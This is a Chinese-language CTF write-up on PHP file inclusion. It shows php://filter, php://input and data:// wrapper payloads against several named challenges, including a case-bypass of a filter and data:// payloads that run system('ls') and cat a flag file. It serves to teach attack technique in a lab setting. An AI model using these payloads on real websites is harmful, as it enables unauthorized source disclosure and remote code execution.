ctf web 文件包含漏洞(例题)

文件包含漏洞

php://协议

php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

一、php://filter

当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行base64编码,阻止其不执行。从而导致任意文件读取。
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php


例题: [ACTF2020 新生赛]Include

仔细看url,发现有flag.php
在这里插入图片描述
判断此题为PHP伪协议题目
构建payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

base64解码得
在这里插入图片描述

例题:[BSidesCF 2020]Had a bad day

php伪协议可以套一层协议,从而绕过,进行任意文件读取,直接读flag.php

?category=php://filter/read=convert.base64-encode/woofers/resource=flag

二、 php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
http://127.0.0.1/cmd.php?file=php://input
例题:Web_php_include
0x01源码

首先,拿到题目我们看到页面上显示如下php代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

方法1:这里题目用了strstr()函数,这个函数是区分大小写的,所以这里我们直接大小写绕过strstr()即可
在这里插入图片描述

在这里插入图片描述

查看源代码:

在这里插入图片描述

方法2:date://伪协议执行命令

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

在这里插入图片描述

data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

在这里插入图片描述

0x02总结:

1.造成文件包含漏洞的函数通常有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
2.data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
3.php://协议
php://input,用于执行php代码,需要post请求提交数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值